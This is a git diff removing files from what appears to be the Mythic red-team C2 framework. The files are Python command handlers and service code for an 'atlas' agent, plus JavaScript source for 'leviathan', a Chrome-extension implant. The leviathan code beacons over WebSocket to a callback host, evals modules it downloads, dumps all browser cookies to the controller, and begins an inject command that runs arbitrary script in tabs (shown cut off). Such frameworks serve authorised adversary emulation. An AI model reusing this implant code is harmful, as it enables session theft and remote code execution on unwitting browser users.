- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/rm.py b/Payload_Types/atlas/mythic/agent_functions/rm.py
deleted file mode 100644
index e84eae833..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/rm.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class RmArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class RmCommand(CommandBase):
- cmd = "rm"
- needs_admin = False
- help_cmd = "rm [filename]"
- description = "Delete the specified file."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = RmArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/runassembly.py b/Payload_Types/atlas/mythic/agent_functions/runassembly.py
deleted file mode 100644
index 308a8c7db..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/runassembly.py
+++ /dev/null
@@ -1,59 +0,0 @@
-from CommandBase import *
-import json
-from MythicFileRPC import *
-
-
-class RunAssemblyArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "assembly_id": CommandParameter(
- name="assembly_id", type=ParameterType.String, description=""
- ),
- "args": CommandParameter(
- name="args", type=ParameterType.String, required=False
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- pieces = self.command_line.split(" ")
- self.add_arg("assembly_id", pieces[0])
- self.add_arg("args", " ".join(pieces[1:]))
- else:
- raise ValueError("Missing required arguments")
-
-
-class RunAssemblyCommand(CommandBase):
- cmd = "runassembly"
- needs_admin = False
- help_cmd = "runassembly [filename] [assembly arguments]"
- description = "Execute the entrypoint of a assembly loaded by the loadassembly command and redirect the console output back to the Apfell server."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = RunAssemblyArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicFileRPC(task).get_file_by_name(
- task.args.get_arg("assembly_id")
- )
- if resp.status == MythicStatus.Success:
- task.args.add_arg("assembly_id", resp.agent_file_id)
- else:
- raise ValueError(
- "Failed to find file: {}".format(task.args.get_arg("assembly_id"))
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/upload.py b/Payload_Types/atlas/mythic/agent_functions/upload.py
deleted file mode 100644
index 453e5e20b..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/upload.py
+++ /dev/null
@@ -1,62 +0,0 @@
-from CommandBase import *
-import json
-from MythicFileRPC import *
-
-
-class UploadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "assembly_id": CommandParameter(
- name="assembly_id", type=ParameterType.File, description=""
- ),
- "remote_path": CommandParameter(
- name="remote_path",
- type=ParameterType.String,
- description="Take a file from the database and store it on disk through the callback.",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON argument")
- else:
- raise ValueError("Missing required parameters")
-
-
-class UploadCommand(CommandBase):
- cmd = "upload"
- needs_admin = False
- help_cmd = "upload"
- description = "Upload a file to the remote host"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = UploadArguments
- attackmapping = ["T1132", "T1030"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- filename = json.loads(task.original_params)["assembly_id"]
- resp = await MythicFileRPC(task).register_file(
- file=task.args.get_arg("assembly_id"),
- saved_file_name=filename,
- delete_after_fetch=False,
- )
- if resp.status == MythicStatus.Success:
- task.args.add_arg("assembly_id", resp.agent_file_id)
- else:
- raise ValueError(
- "Failed to register file with Mythic: {}".format(resp.error_message)
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/browser_scripts/create_table.js b/Payload_Types/atlas/mythic/browser_scripts/create_table.js
deleted file mode 100644
index de8d5ab49..000000000
--- a/Payload_Types/atlas/mythic/browser_scripts/create_table.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function(headers, data){
- let output = "";
- output += "";
- for(let i = 0; i < headers.length; i++){
- output += "" + headers[i]['name'].toUpperCase() + " ";
- }
- output += " ";
- for(let i = 0; i < data.length; i++){
- output += "";
- for(let j = 0; j < headers.length; j++){
- if(data[i]['cell-style'].hasOwnProperty(headers[j])){
- output += "" + data[i][headers[j]['name']] + " ";
- }
- else{
- output += "" + data[i][headers[j]['name']] + " ";
- }
- }
- output += " ";
- }
- output += "
";
- return output;
-}
\ No newline at end of file
diff --git a/Payload_Types/atlas/mythic/browser_scripts/ls.js b/Payload_Types/atlas/mythic/browser_scripts/ls.js
deleted file mode 100644
index 287f47dd0..000000000
--- a/Payload_Types/atlas/mythic/browser_scripts/ls.js
+++ /dev/null
@@ -1,30 +0,0 @@
-function(task, response) {
- let rows = [];
- for (let i = 0; i < response.length; i++) {
- try {
- var data = JSON.parse(response[i]['response']);
- } catch (error) {
- //return error.ToString();
- return escapeHTML(response);
- }
-
- data.forEach(function (r) {
- var row_style = "";
- if (r["IsDir"]) {
- row_style = "background-color: #5E28DC";
- }
- rows.push({
- "Filename": escapeHTML(r['file_name']),
- "Size": escapeHTML(r['size']),
- "Lastmodified": escapeHTML(r['timestamp']),
- "IsDir": escapeHTML(r['IsDir']),
- "row-style": row_style,
- "cell-style": {}
- });
- });
- }
- return support_scripts['atlas_create_table']([{"name": "Filename", "size": "10em"}, {
- "name": "Size",
- "size": "2em"
- }, {"name": "Lastmodified", "size": "3em"}, {"name": "IsDir", "size": "2em"}], rows);
-}
diff --git a/Payload_Types/atlas/mythic/browser_scripts/ps.js b/Payload_Types/atlas/mythic/browser_scripts/ps.js
deleted file mode 100644
index eebc2c35d..000000000
--- a/Payload_Types/atlas/mythic/browser_scripts/ps.js
+++ /dev/null
@@ -1,21 +0,0 @@
-function(task, response){
- var rows = [];
- for(let i = 0; i < response.length; i++){
- try{
- var data = JSON.parse(response[i]['response']);
- }catch(error){
- return escapeHTML(response);
- }
- data.forEach(function(r){
- let row_style = "";
- rows.push({"process_id": escapeHTML(r['process_id']),
- "parent_process_id": escapeHTML(r['parent_process_id']),
- "path": escapeHTML(r['bin_path']),
- "user": escapeHTML(r['user']),
- "row-style": row_style,
- "cell-style": {}
- });
- });
- }
- return support_scripts['atlas_create_table']([{"name":"process_id", "size":"10em"},{"name":"parent_process_id", "size":"10em"}, {"name": "user", "size": "10em"},{"name":"path", "size":""}], rows);
-}
diff --git a/Payload_Types/atlas/mythic/generate_docs_from_container.py b/Payload_Types/atlas/mythic/generate_docs_from_container.py
deleted file mode 100644
index 625847cc1..000000000
--- a/Payload_Types/atlas/mythic/generate_docs_from_container.py
+++ /dev/null
@@ -1,197 +0,0 @@
-#! /usr/env python3
-
-import sys
-import pathlib
-from importlib import import_module
-from CommandBase import *
-from PayloadBuilder import *
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + pathlib.Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-root = pathlib.Path(".")
-import_all_agent_functions()
-commands = []
-payload_type = {}
-for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=root).to_json()
- break
-for cls in CommandBase.__subclasses__():
- commands.append(cls(root).to_json())
-payload_type["commands"] = commands
-
-# now generate the docs
-root_home = root / payload_type["ptype"]
-if not root_home.exists():
- root_home.mkdir()
-if not (root_home / "c2_profiles").exists():
- (root_home / "c2_profiles").mkdir()
-if not (root_home / "commands").exists():
- (root_home / "commands").mkdir()
-# now to generate files
-with open(root_home / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "{payload_type['ptype']}"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-Overview
-
-### Highlighted Agent Features
-list of info here
-
-## Authors
-list of authors
-
-### Special Thanks to These Contributors
-list of contributors
-"""
- )
-with open(root_home / "c2_profiles" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `{payload_type['ptype']}` specifics for the supported C2 profiles.
-"""
- )
-with open(root_home / "development.md", "w") as f:
- f.write(
- f"""+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Info for ideal dev environment or requirements to set up environment here
-
-## Adding Commands
-
-Info for how to add commands
-- Where code for commands is located
-- Any classes to call out
-
-## Adding C2 Profiles
-
-Info for how to add c2 profiles
-- Where code for editing/adding c2 profiles is located
-"""
- )
-with open(root_home / "opsec.md", "w") as f:
- f.write(
- f"""+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-Info here
-
-### Post-Exploitation Jobs
-Info here
-
-### Remote Process Injection
-Info here
-
-### Process Execution
-Info here"""
- )
-with open(root_home / "commands" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# {payload_type['ptype']} Command Reference
-These pages provide in-depth documentation and code samples for the `{payload_type['ptype']}` commands.
-"""
- )
-payload_type["commands"] = sorted(payload_type["commands"], key=lambda i: i["cmd"])
-for i in range(len(payload_type["commands"])):
- c = payload_type["commands"][i]
- cmd_file = c["cmd"] + ".md"
- with open(root_home / "commands" / cmd_file, "w") as f:
- f.write(
- f"""+++
-title = "{c['cmd']}"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-{c['description']}
-- Needs Admin: {c['needs_admin']}
-- Version: {c['version']}
-- Author: {c['author']}
-
-### Arguments
-
-"""
- )
- for a in c["parameters"]:
- f.write(
- f"""#### {a['name']}
-
-- Description: {a['description']}
-- Required Value: {a['required']}
-- Default Value: {a['default_value']}
-
-"""
- )
- f.write(
- f"""## Usage
-
-```
-{c['help_cmd']}
-```
-
-"""
- )
- if len(c["attack"]) > 0:
- f.write(
- f"""## MITRE ATT&CK Mapping
-"""
- )
- for a in c["attack"]:
- f.write(
- f"""
-- {a['t_num']} """
- )
-
- f.write(
- f"""
-## Detailed Summary
-
-"""
- )
diff --git a/Payload_Types/atlas/mythic/mythic_service.py b/Payload_Types/atlas/mythic/mythic_service.py
deleted file mode 100755
index 8c4ee8460..000000000
--- a/Payload_Types/atlas/mythic/mythic_service.py
+++ /dev/null
@@ -1,308 +0,0 @@
-#!/usr/bin/env python3
-import aio_pika
-import os
-import sys
-import traceback
-import base64
-import json
-import asyncio
-import socket
-from CommandBase import *
-from PayloadBuilder import *
-from pathlib import Path
-from importlib import import_module, invalidate_caches
-
-# set the global hostname variable
-hostname = ""
-output = ""
-exchange = None
-container_files_path = ""
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", command="", status="", username=""):
- global exchange
- # status is success or error
- try:
- message_body = aio_pika.Message(message.encode())
- # Sending the message
- await exchange.publish(
- message_body,
- routing_key="pt.status.{}.{}.{}.{}".format(
- hostname, command, status, username
- ),
- )
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: pt.task.PAYLOAD_TYPE.command
- pieces = message.routing_key.split(".")
- command = pieces[3]
- username = pieces[4]
- if command == "create_payload_with_code":
- try:
- # pt.task.PAYLOAD_TYPE.create_payload_with_code.UUID
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- # go through all the data from rabbitmq to make the proper classes
- c2info_list = []
- for c2 in message_json["c2_profile_parameters"]:
- params = c2.pop("parameters", None)
- c2info_list.append(
- C2ProfileParameters(parameters=params, c2profile=c2)
- )
- commands = CommandList(message_json["commands"])
- for cls in PayloadType.__subclasses__():
- agent_builder = cls(
- uuid=message_json["uuid"],
- agent_code_path=Path(container_files_path),
- c2info=c2info_list,
- commands=commands,
- wrapped_payload=message_json["wrapped_payload"],
- )
- try:
- await agent_builder.set_and_validate_build_parameters(
- message_json["build_parameters"]
- )
- build_resp = await agent_builder.build()
- except Exception as b:
- resp_message = {
- "status": "error",
- "message": "Error in agent creation: "
- + str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- return
- # we want to capture the build message as build_resp.get_message()
- # we also want to capture the final values the agent used for creating the payload, so collect them
- build_instances = agent_builder.get_build_instance_values()
- resp_message = {
- "status": build_resp.get_status().value,
- "message": build_resp.get_message(),
- "build_parameter_instances": build_instances,
- "payload": base64.b64encode(build_resp.get_payload()).decode(
- "utf-8"
- ),
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
-
- except Exception as e:
- resp_message = {
- "status": "error",
- "message": str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- elif command == "command_transform":
- try:
- # pt.task.PAYLOAD_TYPE.command_transform.taskID
-
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- final_task = None
- for cls in CommandBase.__subclasses__():
- if getattr(cls, "cmd") == message_json["command"]:
- Command = cls(Path(container_files_path))
- task = MythicTask(
- message_json["task"],
- args=Command.argument_class(message_json["params"]),
- )
- await task.args.parse_arguments()
- await task.args.verify_required_args_have_values()
- final_task = await Command.create_tasking(task)
- await send_status(
- str(final_task),
- "command_transform",
- "{}.{}".format(final_task.status.value, pieces[4]),
- username,
- )
- break
- if final_task is None:
- await send_status(
- "Failed to find class where command_name = "
- + message_json["command"],
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- except Exception as e:
- await send_status(
- "[-] Mythic error while creating/running create_tasking: \n"
- + str(e),
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- return
- elif command == "sync_classes":
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(
- agent_code_path=Path(container_files_path)
- ).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(
- json.dumps(payload_type), "sync_classes", "success", username
- )
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error.{}".format(pieces[4]),
- username,
- )
- else:
- print("Unknown command: {}".format(command))
-
-
-async def sync_classes():
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=Path(container_files_path)).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(json.dumps(payload_type), "sync_classes", "success", "")
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error",
- "",
- )
- sys.exit(1)
-
-
-async def heartbeat():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the mythic server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="pt.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = os.path.abspath(main_config["container_files_path"])
- if not os.path.exists(container_files_path):
- os.makedirs(container_files_path)
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(1)
- try:
- channel = await connection.channel()
- # declare our exchange
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
- # bind the queue to the exchange so we can actually catch messages
- await queue.bind(
- exchange="mythic_traffic", routing_key="pt.task.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=100)
- print(" [*] Waiting for messages in mythic_service.")
- task = queue.consume(callback)
- await sync_classes()
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print(str(e))
-
-
-# start our service
-loop = asyncio.get_event_loop()
-asyncio.gather(heartbeat(), mythic_service())
-loop.run_forever()
diff --git a/Payload_Types/atlas/mythic/payload_service.sh b/Payload_Types/atlas/mythic/payload_service.sh
deleted file mode 100755
index 00627848a..000000000
--- a/Payload_Types/atlas/mythic/payload_service.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-cd /Mythic/mythic
-
-export PYTHONPATH=/Mythic:/Mythic/mythic
-
-python3.8 mythic_service.py
diff --git a/Payload_Types/atlas/mythic/rabbitmq_config.json b/Payload_Types/atlas/mythic/rabbitmq_config.json
deleted file mode 100755
index 08581c01a..000000000
--- a/Payload_Types/atlas/mythic/rabbitmq_config.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
- "username": "mythic_user",
- "password": "mythic_password",
- "virtual_host": "mythic_vhost",
- "host": "127.0.0.1",
- "name": "hostname",
- "container_files_path": "/Mythic/"
-}
\ No newline at end of file
diff --git a/Payload_Types/leviathan/Dockerfile b/Payload_Types/leviathan/Dockerfile
deleted file mode 100755
index 459ef0390..000000000
--- a/Payload_Types/leviathan/Dockerfile
+++ /dev/null
@@ -1 +0,0 @@
-From itsafeaturemythic/leviathan_payload:0.0.1
diff --git a/Payload_Types/leviathan/agent_code/c2/leviathan-websocket.js b/Payload_Types/leviathan/agent_code/c2/leviathan-websocket.js
deleted file mode 100644
index 97ef246b6..000000000
--- a/Payload_Types/leviathan/agent_code/c2/leviathan-websocket.js
+++ /dev/null
@@ -1,234 +0,0 @@
-//------------- Chrome Extension Websocket C2 mechanisms ---------------------------------
-// Dictionary that holds outbound messages
-var out = [];
-let screencaptures = [];
-let loads = [];
-class customC2 extends baseC2{
- constructor(host, port, endpoint, interval){
- super(host, port, endpoint,interval);
- this.host = host;
- this.port = port;
- this.endpoint = endpoint;
- this.interval = interval;
- this.commands = {};
- this.server = `${this.host}:${this.port}/${this.endpoint}`;
- }
-
- getConfig() {
- return JSON.stringify({'server': this.server, 'interval':this.interval, 'commands': JSON.stringify(this.commands)});
- }
-
- checkIn() {
- const msg = {
- "action":"checkin",
- "os":hostos,
- "architecture": hostarch,
- "user":apfell.userinfo,
- "uuid":apfell.uuid,
- "host":apfell.userinfo + "'s chrome",
- "pid":0,
- "ip":'127.0.0.1',
- };
-
- let checkin = JSON.stringify(msg);
- let checkinpayload = apfell.uuid + checkin;
-
- const meta = {
- "client": true,
- "data": btoa(unescape(encodeURIComponent(checkinpayload))),
- "tag":"",
- };
-
- const encmsg = JSON.stringify(meta);
- connection.send(encmsg);
- //console.log('Sent initial checkin');
- }
-
- postResponse(){
- if (out.length > 0){
- // Pop and send a message to the controller
- while (out.length > 0) {
- const msg = out.shift();
- const meta = {
- "client":true,
- "data": msg,
- "tag":""
- };
- let final = JSON.stringify(meta);
- connection.send(final);
- }
- }
- }
-}
-
-//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
-const C2 = new customC2('callback_host', callback_port, 'ENDPOINT_REPLACE', callback_interval);
-const connection = new WebSocket(`${C2.server}`);
-
-function chunkArray(array, size) {
- if(array.length <= size){
- return [array];
- }
-
- return [array.slice(0,size), ...chunkArray(array.slice(size), size)];
-}
-
-function c2loop() {
- C2.postResponse();
- if (apfell.apfellid.length !== 0) {
- let request = {'action':'get_tasking', 'tasking_size': -1, 'delegates':[]};
- let msg = JSON.stringify(request);
- let final = apfell.apfellid + msg;
- let encfinal = btoa(unescape(encodeURIComponent(final)));
- out.push(encfinal);
- } else {
- //console.log('Apfell id not set for tasking ' + apfell.apfellid);
- }
-}
-
-var mainloop = setInterval(c2loop, C2.interval * 1000);
-
-connection.onopen = function () {
- C2.checkIn();
-};
-
-connection.onclose = function () {
- // Do Nothing
-};
-
-connection.onerror = function () {
- // Do Nothing
-};
-
-connection.onmessage = function (e) {
- const rawmsg = JSON.parse(e.data);
- const decoded = atob(rawmsg.data);
- const messagenouuid = decoded.slice(36, decoded.length);
-
- const message = JSON.parse(messagenouuid);
- switch (message.action) {
- case 'checkin': {
- // callback check in
- if(message.id !== undefined){
- apfell.apfellid = message.id;
- }else{
- C2.checkIn();
- }
- break;
- }
- case 'get_tasking' : {
- // handle an apfell message
-
- for (let index = 0; index < message.tasks.length; index++) {
- const task = message.tasks[index];
-
- try {
- commands_dict[task.command](task);
- } catch (error) {
- let response = {'task_id':task.id, 'completed':false, 'status':'error', 'error':'error processing task for id ' + task.id + '\n' + error.toString()};
- let outer_response = {'action':'post_response','responses':[response], 'delegates':[]};
- let msg = btoa(unescape(encodeURIComponent(apfell.apfellid + JSON.stringify(outer_response))));
- out.push(msg);
- //console.log("Error executing task: " + error.toString());
- }
- }
-
- break;
- }
- case 'post_response' : {
- for (let index = 0; index < message.responses.length; index++) {
- let response = message.responses[index];
-
- // check for screencaptures
- if (screencaptures.length > 0) {
- for (let i = 0; i < screencaptures.length; i++) {
- const capture = screencaptures[i];
- let equal = response.task_id.localeCompare(capture.task_id);
- if (equal === 0) {
- // TODO: chunk the screencapture data
- let raw = capture.image;
-
- let resp = {
- 'chunk_num': 1,
- 'file_id': response.file_id,
- 'chunk_data': raw,
- 'task_id': capture.task_id,
- };
-
- let outer_response = {
- 'action':'post_response',
- 'responses':[resp],
- 'delegates':[]
- };
-
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
-
- response = {
- 'task_id':response.task_id,
- 'user_output':'screencapture complete',
- 'complete':true
- };
-
- outer_response = {
- 'action':'post_response',
- 'responses':[response],
- 'delegates':[]
- };
-
- enc = JSON.stringify(outer_response);
- final = apfell.apfellid + enc;
- msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
-
- screencaptures[i] = {};
- if (screencaptures.length === 1 ) {
- screencaptures = [];
- }
- }
- }
- }
- }
-
- break;
- }
- case 'upload' : {
- // check for load command responses
-
- if (loads.length > 0) {
- for (let j = 0; j < loads.length; j++) {
- let equal = message.file_id.localeCompare(loads[j].file_id);
- if (equal === 0) {
- let load = loads[j];
- if (message.chunk_num < message.total_chunks) {
- let raw = atob(message.chunk_data);
- load.data.push(...raw);
- loads[j] = load;
- let resp = {'action':'upload','chunk_size': 1024000, 'chunk_num':(message.chunk_num + 1), 'file_id':load.file_id, 'full_path':''};
- let encodedResponse = JSON.stringify(resp);
- let final = apfell.apfellid + encodedResponse;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- } else if (message.chunk_num === message.total_chunks) {
- let raw = atob(message.chunk_data);
- load.data.push(...raw);
- let new_dict = default_load(load.data.join(""));
- commands_dict = Object.assign({}, commands_dict, new_dict);
- //console.log(Object.values(commands_dict));
- C2.commands = Object.keys(commands_dict);
- let response = {'task_id':load.task_id, 'user_output': load.name + " loaded", "completed":true};
- let outer_response = {'action':'post_response', 'responses':[response], 'delegates':[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- loads[j] = {};
- out.push(msg);
- }
- }
- }
- }
- }
- }
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/chrome-extension.js b/Payload_Types/leviathan/agent_code/chrome-extension.js
deleted file mode 100755
index f47a67582..000000000
--- a/Payload_Types/leviathan/agent_code/chrome-extension.js
+++ /dev/null
@@ -1,80 +0,0 @@
-//--------------IMPLANT INFORMATION-----------------------------------
-class implant{
- constructor(){
- this.hostinfo = "chrome";
- this.userinfo = '';
- this.procinfo = 0;
- this.uuid = "UUID_HERE";
- this.apfellid = 0;
- }
-}
-
-var hostos = "";
-var hostarch = "";
-var apfell = new implant();
-//--------------Base C2 INFORMATION---------------------------------------
-class baseC2 {
- constructor(host, port, endpoint, interval) {
- this.host = host;
- this.port = port;
- this.interval = interval;
- this.commands = {};
- this.server = `${this.host}:${this.port}/${endpoint}`;
- }
-
- getInterval(){
- return this.interval;
- }
-
- getConfig(){
- // return the c2 config
- }
-
- postResponse(){
- //output a response to a task
- }
- setConfig(){
- //Not implemented
- }
- download(){
- //Not Implemented
- }
- upload(){
- //Not implemented
- }
-
- checkIn(){
- // register this callback with the server
- }
-
- sendResponse(){
- // Send a response to the server
- }
-}
-
-// C2 Profile Code
-C2PROFILE_HERE
-
-//-------------SHARED COMMAND CODE ------------------------
-chrome.identity.getProfileUserInfo(function(info){
- apfell.userinfo = info.email;
-});
-
-chrome.runtime.getPlatformInfo(function(info) {
- hostos = info.os;
- hostarch = info.arch;
-});
-
-default_load = function(contents){
- var module = {exports: {}};
- var exports = module.exports;
- eval(contents);
- return module.exports;
-};
-
-let exports = {};
-// Commands
-COMMANDS_HERE
-
-var commands_dict = exports;
-C2.commands = Object.keys(commands_dict);
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/cookiedump.js b/Payload_Types/leviathan/agent_code/commands/cookiedump.js
deleted file mode 100755
index f32469e11..000000000
--- a/Payload_Types/leviathan/agent_code/commands/cookiedump.js
+++ /dev/null
@@ -1,26 +0,0 @@
-exports.cookiedump = function(task) {
- try {
- let results = [];
- chrome.cookies.getAllCookieStores(function(stores) {
- stores.forEach(function (store) {
- const filter = {};
- filter["storeId"] = store.id;
- chrome.cookies.getAll({"storeId": store.id}, function (cookies) {
- let response = {'task_id':task.id, 'user_output':JSON.stringify(cookies, null, 2), 'completed':true};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- });
- });
- });
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/exit.js b/Payload_Types/leviathan/agent_code/commands/exit.js
deleted file mode 100755
index 873ee38fc..000000000
--- a/Payload_Types/leviathan/agent_code/commands/exit.js
+++ /dev/null
@@ -1,26 +0,0 @@
-exports.exit = function(task) {
- try {
- let response = {"task_id":task.id, "user_output":"exiting", "completed": true};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- let meta = {
- "data": msg,
- "client": true,
- "tag":"",
- };
- let fullmsg = JSON.stringify(meta);
- connection.send(fullmsg);
- setTimeout(function name(params) {
- connection.close();
- }, C2.interval);
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/inject.js b/Payload_Types/leviathan/agent_code/commands/inject.js
deleted file mode 100755
index 6e4a282d4..000000000
--- a/Payload_Types/leviathan/agent_code/commands/inject.js
+++ /dev/null
@@ -1,30 +0,0 @@
-exports.inject = function(task) {
- // execute custom javascript code in a tab
- try {
- let args = JSON.parse(atob(task.parameters.toString()));
- const tab = Math.round(args.tabid);
- const code = atob(args.javascript);
- chrome.tabs.executeScript(tab, {
- code: code
- }, function(){
- if (chrome.runtime.lastError) {
